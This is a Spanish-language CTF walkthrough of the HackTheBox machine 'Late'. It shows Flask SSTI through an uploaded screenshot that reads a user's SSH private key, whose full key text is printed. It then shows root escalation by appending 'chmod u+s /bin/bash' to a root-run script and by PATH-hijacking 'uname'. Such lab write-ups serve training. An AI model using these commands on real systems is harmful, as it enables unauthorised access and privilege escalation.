xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Late



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap, donde encontramos abiertos solo 2 puertos 22 y 80 (ssh y http respectivamente)

❯ nmap 10.10.11.156
Nmap scan report for 10.10.11.156  
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Al abrir la página principal podemos ver una web que nos habla de tener herramientas onnline mas sencillas de utilizar para editar imágenes

En el apartado de preguntas frecuentes se nos da un enlace a el editor de imágenes gratuito que nos redirige al dominio images.late.htb

De primeras el navegador no sabrá a donde apuntar con ese dominio asi que le indicaremos la ip de la máquina agregandolo al archivo /etc/hosts

❯ echo "10.10.11.156 images.late.htb" | sudo tee -a /etc/hosts  


Shell - svc_acc


Al abrir el nuevo dominio podemos ver una web que nos permite subir una imagen, y algo interesante es que nos dice que esta montado en Flask, que es reconocido por tener la vulnerabilidad de Server Side Template Injection en este tipo de CTFs

En mi caso subire la captura anterior para ver que es lo que hace, y al subirla nos intenta descargar un archivo con el nombre results.txt

Al leer el archivo txt que descargó, podemos ver que convierte el contenido visual de la imagen a un archivo de texto que contiene el html de lo que este en ella

❯ cat results.txt

<p>
Convert image to texters

If you want to turn an image into a text document, you came to the right place.  

Convert your image now!

Choose file Browse
</p>

Ya que esta corriendo Flask podemos probar un clásico payload para explotar un SSTI, asi que tomamos una captura de pantalla con el payload como la siguiente

Al subir esa imagen nos descarga otro results.txt y podemos ver 49, la operación se ha computado por lo que es vulnerable a Server Side Template Injection

❯ cat results.txt  

<p>
49
</p>

Podemos usar un payload de PayloadsAllTheThings y ejecutaremos el comando id para saber el usuario y cat ~/.ssh/id_rsa para leer su clave rsa privada

Al subir la imagen anterior nos devuelve otro results.txt donde nos muestra la salida de ambos comandos, el usuario es svc_acc y tambien podemos ver su clave privada

❯ cat results.txt

<p>

uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==          
-----END RSA PRIVATE KEY-----

</p>

Guardamos la clave privada en un archivo llamado id_rsa y despues de darle permiso 600 con chmod 600 id_rsa podemos conectarnos por ssh sin contraseña

❯ ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)  
svc_acc@late:~$ hostname -I
10.10.11.156
svc_acc@late:~$ cat user.txt
974**************************fd4
svc_acc@late:~$


Shell - root


Si listamos procesos con pspy e iniciamos sesión por ssh en otra terminal podemos ver que root ejecuta un script con bash en cada inicio de sesión de ssh

CMD: UID=0    PID=2227   | /bin/bash /usr/local/sbin/ssh-alert.sh  

Podemos leer el archivo en bash que se ejecuta y lo que hace parece que es avisar a root mediante un mail cada inicio de sesión por ssh

svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}  
fi
svc_acc@late:~$

Si listamos los permisos podemos ver que nuestro usuario es el propietario, por lo que deberiamos tener permisos de escritura en el script de bash

svc_acc@late:/usr/local/sbin$ ls -l ssh-alert.sh 
-rwxr-xr-x 1 svc_acc svc_acc 433 Mar 15 20:39 ssh-alert.sh  
svc_acc@late:/usr/local/sbin$

Sin embargo al intentar escribir nos dice que no tenemos permitido hacerlo

svc_acc@late:/usr/local/sbin$ echo "test" > ssh-alert.sh  
-bash: ssh-alert.sh: Operation not permitted
svc_acc@late:/usr/local/sbin$

Al listar privilegios mas avanzados encontramos que solo tenemos permiso de hacer un append pero no de sobreescribir el contenido ya existente en el archivo

svc_acc@late:/usr/local/sbin$ lsattr ssh-alert.sh  
-----a--------e--- ssh-alert.sh
svc_acc@late:/usr/local/sbin$

Hacemos un append del comando chmod u+s /bin/bash para cuando root ejecute el script asigne privilegios suid a la bash y podamos obtener su uid temporalmente

svc_acc@late:/usr/local/sbin$ echo "chmod u+s /bin/bash" >> ssh-alert.sh  
svc_acc@late:/usr/local/sbin$

Ahora salimos y volvemos a loguearnos para que root ejecute el comando en el script

svc_acc@late:/usr/local/sbin$ exit
logout
Connection to 10.10.11.156 closed.

❯ ssh svc_acc@10.10.11.156 -i id_rsa  
-bash-4.4$

El comando se ha ejecutado por lo que ahora la bash tiene privilegios suid, con el comando bash -p obtenemos su uid temporalmente y nos convertimos en root

-bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash  
-bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# hostname -I
10.10.11.156
bash-4.4# cat /root/root.txt
9e3**************************b96
bash-4.4#


Extra - root


El script usa como comando uname sin indicar una ruta absoluta, ya que la ruta sbin donde podemos escribir esta casi al inicio de la variable $PATH podemos secuestrarlo y definir su contenido, si la de root es igual ejecutara nuestro comando al iniciar

svc_acc@late:/usr/local/sbin$ which uname
/bin/uname
svc_acc@late:/usr/local/sbin$ echo $PATH
/home/svc_acc/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin  
svc_acc@late:/usr/local/sbin$

Simplemente creamos un binario uname que le de privilegios a la bash si se ejecuta

svc_acc@late:/usr/local/sbin$ echo "chmod u+s /bin/bash" > uname  
svc_acc@late:/usr/local/sbin$ chmod +x uname
svc_acc@late:/usr/local/sbin$

Ahora salimos y volvemos a loguearnos para que root ejecute el comando en el script

svc_acc@late:/usr/local/sbin$ exit
logout
Connection to 10.10.11.156 closed.

❯ ssh svc_acc@10.10.11.156 -i id_rsa  
-bash-4.4$

El comando se ha ejecutado por lo que ahora la bash tiene privilegios suid, con el comando bash -p obtenemos su uid temporalmente y nos convertimos en root

-bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash  
-bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# hostname -I
10.10.11.156
bash-4.4# cat /root/root.txt
9e3**************************b96
bash-4.4#